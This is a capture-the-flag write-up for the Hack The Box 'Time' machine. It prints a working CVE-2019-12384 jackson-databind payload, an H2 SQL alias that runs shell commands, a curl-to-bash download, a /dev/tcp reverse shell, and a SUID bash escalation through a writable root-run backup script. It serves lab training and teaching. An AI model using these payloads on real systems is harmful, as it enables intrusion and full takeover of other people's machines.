Hack The Box Time Writeup (Medium Linux)
Medium Linux box. A jackson-databind validator falls to CVE-2019-12384 via an H2 RUNSCRIPT, and a root systemd timer runs a writable backup script.
Summary
Time serves a JSON beautifier whose validate option is marked beta, and an empty object returns a jackson-databind stack trace. That library plus the box’s 2020 release date points at CVE-2019-12384, which abuses polymorphic deserialization to make logback open an H2 JDBC URL. The payload is rewritten without the outer quotes and escaping so the server sees a real JSON array, and its INIT=RUNSCRIPT clause pulls inject.sql from the attacking machine, which defines a SHELLEXEC alias and calls it. A first run proves execution with curl, and a second fetches and pipes a shell script back for a reverse shell as pericles. linpeas then shows three non default systemd units, where timer_backup.timer fires every ten seconds and ends up running /usr/bin/timer_backup.sh as root even though that file is owned by pericles. Appending chmod +s /bin/bash to the script and waiting for the next tick gives a SUID shell and root.
Lesson Learned
- Use CVEDetails. Period. Use CVEDetails.
Web Server Enumeration
The web server offers me a json validator feature:
I see that “Validate” is in Beta, and generally, when something is in Beta, it contains bugs. I input an empty json object ({}) and it gives me the following error message:
1
Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object
I head to CVEDetails.com and search for fasterxml. I’m specifically looking for CVEs from 2019 or 2020, which was around the time when the box was released:
The only CVE from both 2019 and 2020 that has a public exploit is this one (CVE-2019-12384):
I ultimately locate this github repository, containing exploitation steps for the vulnerability. I’ll basically create a “inject.sql” file with the following contents:
1
2
3
4
5
6
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('curl 10.10.14.57')
This will allow me to execute arbitrary system commands when calling the SHELLEXEC() function above. This is how their json payload looks like to trigger the vulnerability:
1
"[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'\"}]"
Since this is wrapped in double quotes, and the double quotes inside it are escaped, the server will treat this as a big string if I send it as-is. I remove the double wrapping double quotes and unescape the ones inside. I also changed the endpoint to my machine (instead of localhost:8000). The final payload looks like this:
1
["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.57/inject.sql'"}]
I start http server with a python to serve the inject.sql file:
1
python3 -m http.server 80
I use the payload against the website, selecting the “validate” option:
As you can see from the screenshot below, the server first grabs “inject.sql” and then executes the command i placed inside it (curl 10.10.14.57). The second request is from my arbitrary command:
I create “shell.sh”:
1
sh -i >& /dev/tcp/10.10.14.57/9999 0>&1
I start a netcat listener:
1
nc -lvnp 9999
I modify “inject.sql” to ultimately obtain a reverse shell:
1
2
3
4
5
6
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('setsid nohup curl 10.10.14.57/shell.sh|bash &')
Sure enough I get it, and now I have a reverse shell connection on the machine as “pericles”:
Vertical Privilege Escalation
I run linpeas on the machine as “pericles”. Under the “backup files” section, I find the following entries:
More specifically:
1
2
3
-rw-r--r-- 1 root root 214 Oct 23 2020 /etc/systemd/system/timer_backup.timer
-rw-r--r-- 1 root root 159 Oct 23 2020 /etc/systemd/system/timer_backup.service
-rw-r--r-- 1 root root 106 Oct 23 2020 /etc/systemd/system/web_backup.service
These aren’t default files. This is basically a service that runs /usr/bin/timer_backup.sh:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
pericles@time:/home/pericles$ cat /etc/systemd/system/timer_backup.timer
[Unit]
Description=Backup of the website
Requires=timer_backup.service
[Timer]
Unit=timer_backup.service
#OnBootSec=10s
#OnUnitActiveSec=10s
OnUnitInactiveSec=10s
AccuracySec=1ms
[Install]
WantedBy=timers.target
pericles@time:/home/pericles$ cat /etc/systemd/system/timer_backup.service
[Unit]
Description=Calls website backup
Wants=timer_backup.timer
WantedBy=multi-user.target
[Service]
ExecStart=/usr/bin/systemctl restart web_backup.service
pericles@time:/home/pericles$ cat /etc/systemd/system/web_backup.service
[Unit]
Description=Creates backups of the website
[Service]
ExecStart=/bin/bash /usr/bin/timer_backup.sh
i can see the script it’s running is owned by pericles:
1
2
$ ls -l /usr/bin/timer_backup.sh
-rwxrw-rw- 1 pericles pericles 88 Dec 22 21:45 /usr/bin/timer_backup.sh
The script has the following contents:
1
2
#!/bin/bash
zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip
It’s saving the backup to /root/backup.zip, so root must be the user that’s running this script. I add malicious code to the script:
1
echo 'chmod +s /bin/bash' >> /usr/bin/timer_backup.sh
After a few seconds the script runs and now I can execute bash privileged:
1
/bin/bash -p
The screenshot below shows proof of compromise:







